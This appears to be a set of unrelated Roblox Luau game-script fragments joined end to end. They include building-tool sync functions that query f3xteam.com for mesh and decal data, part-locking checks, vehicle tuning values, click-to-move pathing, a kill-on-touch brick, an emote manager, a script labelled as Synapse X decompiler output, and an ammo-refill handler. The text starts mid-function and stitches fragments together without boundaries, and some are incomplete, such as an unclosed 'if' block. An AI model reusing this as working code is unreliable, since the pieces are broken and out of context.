IsHttpServiceEnabled ~= nil then return IsHttpServiceEnabled end -- Perform test HTTP request local DidSucceed, Result = pcall(function () return HttpService:GetAsync('https://google.com') end) -- Determine whether HttpService is enabled based on whether request succeeded if DidSucceed then IsHttpServiceEnabled = true elseif (not DidSucceed) and Result:match('Http requests are not enabled') then IsHttpServiceEnabled = false end return IsHttpServiceEnabled or false end; ['ExtractMeshFromAsset'] = function (AssetId) -- Returns the first found mesh in the given asset -- Offload action to server-side if API is running locally if RunService:IsClient() and not RunService:IsStudio() then return SyncAPI.ServerEndpoint:InvokeServer('ExtractMeshFromAsset', AssetId); end; -- Ensure valid asset ID is given assert(type(AssetId) == 'number', 'Invalid asset ID'); -- Return parsed response from API return HttpService:JSONDecode( HttpService:GetAsync('http://f3xteam.com/bt/getFirstMeshData/' .. AssetId) ); end; ['ExtractImageFromDecal'] = function (DecalAssetId) -- Returns the first image found in the given decal asset -- Offload action to server-side if API is running locally if RunService:IsClient() and not RunService:IsStudio() then return SyncAPI.ServerEndpoint:InvokeServer('ExtractImageFromDecal', DecalAssetId); end; -- Return direct response from the API return HttpService:GetAsync('http://f3xteam.com/bt/getDecalImageID/' .. DecalAssetId); end; ['SetMouseLockEnabled'] = function (Enabled) -- Sets whether mouse lock is enabled for the current player -- Offload action to server-side if API is running locally if RunService:IsClient() and not RunService:IsStudio() then return SyncAPI.ServerEndpoint:InvokeServer('SetMouseLockEnabled', Enabled); end; -- Set whether mouse lock is enabled Player.DevEnableMouseLock = Enabled; end; ['SetLocked'] = function (Items, Locked) -- Locks or unlocks the specified parts -- Validate arguments assert(type(Items) == 'table', 'Invalid items') assert(type(Locked) == 'table' or type(Locked) == 'boolean', 'Invalid lock state') -- Check if items modifiable if not CanModifyItems(Items) then return end -- Check if parts intruding into private areas local Parts = GetPartsFromSelection(Items) local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player) if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then return end -- Set each item to a different lock state if type(Locked) == 'table' then for Key, Item in pairs(Items) do local Locked = Locked[Key] Item.Locked = Locked end -- Set to single lock state elseif type(Locked) == 'boolean' then for _, Item in pairs(Items) do Item.Locked = Locked end end end } function CanModifyItems(Items) -- Returns whether the items can be modified -- Check each item for _, Item in pairs(Items) do -- Catch items that cannot be reached local ItemAllowed = Security.IsItemAllowed(Item, Player) local LastParentKnown = LastParents[Item] if not (ItemAllowed or LastParentKnown) then return false end -- Catch locked parts if Options.DisallowLocked and (Item:IsA 'BasePart') and Item.Locked then return false end end -- Return true if all items modifiable return true end function GetPartsFromSelection(Selection) local Parts = {} -- Get parts from selection for _, Item in pairs(Selection) do if Item:IsA 'BasePart' then Parts[#Parts + 1] = Item -- Get parts within other items else for _, Descendant in pairs(Item:GetDescendants()) do if Descendant:IsA 'BasePart' then Parts[#Parts + 1] = Descendant end end end end -- Return parts return Parts end
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels] --[Values are in degrees] Tune.FCamber = 1.5 Tune.RCamber = 1.5 Tune.FToe = 0 Tune.RToe = 0
-- Libraries
local Libraries = Tool:WaitForChild 'Libraries' local Make = require(Libraries:WaitForChild 'Make')
-------------------------------------------------------------------------
local function CheckAlive() local humanoid = findPlayerHumanoid(Player) return humanoid ~= nil and humanoid.Health > 0 end local function GetEquippedTool(character: Model?) if character ~= nil then for _, child in pairs(character:GetChildren()) do if child:IsA('Tool') then return child end end end end local ExistingPather = nil local ExistingIndicator = nil local PathCompleteListener = nil local PathFailedListener = nil local function CleanupPath() if ExistingPather then ExistingPather:Cancel() ExistingPather = nil end if PathCompleteListener then PathCompleteListener:Disconnect() PathCompleteListener = nil end if PathFailedListener then PathFailedListener:Disconnect() PathFailedListener = nil end if ExistingIndicator then ExistingIndicator:Destroy() end end local function HandleMoveTo(thisPather, hitPt, hitChar, character, overrideShowPath) if ExistingPather then CleanupPath() end ExistingPather = thisPather thisPather:Start(overrideShowPath) PathCompleteListener = thisPather.Finished.Event:Connect(function() CleanupPath() if hitChar then local currentWeapon = GetEquippedTool(character) if currentWeapon then currentWeapon:Activate() end end end) PathFailedListener = thisPather.PathFailed.Event:Connect(function() CleanupPath() if overrideShowPath == nil or overrideShowPath then local shouldPlayFailureAnim = PlayFailureAnimation and not (ExistingPather and ExistingPather:IsActive()) if shouldPlayFailureAnim then ClickToMoveDisplay.PlayFailureAnimation() end ClickToMoveDisplay.DisplayFailureWaypoint(hitPt) end end) end local function ShowPathFailedFeedback(hitPt) if ExistingPather and ExistingPather:IsActive() then ExistingPather:Cancel() end if PlayFailureAnimation then ClickToMoveDisplay.PlayFailureAnimation() end ClickToMoveDisplay.DisplayFailureWaypoint(hitPt) end function OnTap(tapPositions: {Vector3}, goToPoint: Vector3?, wasTouchTap: boolean?) -- Good to remember if this is the latest tap event local camera = Workspace.CurrentCamera local character = Player.Character if not CheckAlive() then return end -- This is a path tap position if #tapPositions == 1 or goToPoint then if camera then local unitRay = camera:ScreenPointToRay(tapPositions[1].X, tapPositions[1].Y) local ray = Ray.new(unitRay.Origin, unitRay.Direction*1000) local myHumanoid = findPlayerHumanoid(Player) local hitPart, hitPt, hitNormal = Utility.Raycast(ray, true, getIgnoreList()) local hitChar, hitHumanoid = Utility.FindCharacterAncestor(hitPart) if wasTouchTap and hitHumanoid and StarterGui:GetCore("AvatarContextMenuEnabled") then local clickedPlayer = Players:GetPlayerFromCharacter(hitHumanoid.Parent) if clickedPlayer then CleanupPath() return end end if goToPoint then hitPt = goToPoint hitChar = nil end if hitPt and character then -- Clean up current path CleanupPath() local thisPather = Pather(hitPt, hitNormal) if thisPather:IsValidPath() then HandleMoveTo(thisPather, hitPt, hitChar, character) else -- Clean up thisPather:Cleanup() -- Feedback here for when we don't have a good path ShowPathFailedFeedback(hitPt) end end end elseif #tapPositions >= 2 then if camera then -- Do shoot local currentWeapon = GetEquippedTool(character) if currentWeapon then currentWeapon:Activate() end end end end local function DisconnectEvent(event) if event then event:Disconnect() end end
---------------------------------------------DounutGuy's Lava Brick!------------------------------------------------
function onTouch(part) local h = part.Parent:findFirstChild("Humanoid") if (h ~= nil) then h.Health = 0 end end script.Parent.Touched:connect(onTouch)
--------END RIGHT DOOR 2--------
wait(0.1) if game.Workspace.DoorFlashing.Value == true then
-- Initialize weld tool
local WeldTool = require(CoreTools:WaitForChild 'Weld') Core.AssignHotkey('F', Core.Support.Call(Core.EquipTool, WeldTool)); Core.AddToolButton(Core.Assets.WeldIcon, 'F', WeldTool)
--[[ Sets the locked status of the given emote for the specified player. The player will be updated of this change via a RemoteEvent. Parameters: - player - The Player whose emote lock status will be changed - emoteName - The name of the emote that will have its lock status changed - isLocked - The lock status to change to ]]
function EmoteManager:setEmoteIsLockedForPlayer(player, emoteName, isLocked) -- Wait for all setup for the player to complete before changing the locked -- status of an emote if not self.playerOwnedEmotes[player.UserId] then local updatedPlayerId = nil while updatedPlayerId ~= player.UserId do updatedPlayerId = self.updatedPlayerEmotes.Event:Wait() end end local allPlayerEmotes = self.playerEmoteConfig[player.UserId] local emote = allPlayerEmotes[emoteName] if emote then local newEmotes = Cryo.Dictionary.join(allPlayerEmotes, { [emoteName] = Cryo.Dictionary.join(emote, { isLocked = isLocked, }), }) self.playerEmoteConfig[player.UserId] = newEmotes self.remotes.sendUpdatedEmotes:FireClient(player, newEmotes) else error(string.format("The emote with the name %s does not exist", emoteName)) end end
-- Decompiled with the Synapse X Luau decompiler.
while true do wait(); if workspace:FindFirstChild("Song") then break; end; end; while true do wait(); if script.Parent:FindFirstChild("Where") then break; end; end; while true do wait(); if script.Parent:FindFirstChild("Where").Value ~= nil then break; end; end; while wait() do if workspace.Song.PlaybackLoudness / 120 <= 3.5 then script.Parent.Where.Value.Size = NumberSequence.new(workspace.Song.PlaybackLoudness / 120); else script.Parent.Where.Value.Size = NumberSequence.new(3.5); end; end;
----------//Events\\----------
Evt.Refil.OnClientEvent:Connect(function(Tool, Infinite, Stored) local data = require(Tool.ACS_Settings) Evt.Refil:FireServer(Tool, Infinite, Stored, data.MaxStoredAmmo, StoredAmmo) end)
--[[Weight and CG]]
Tune.Weight = 2200 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible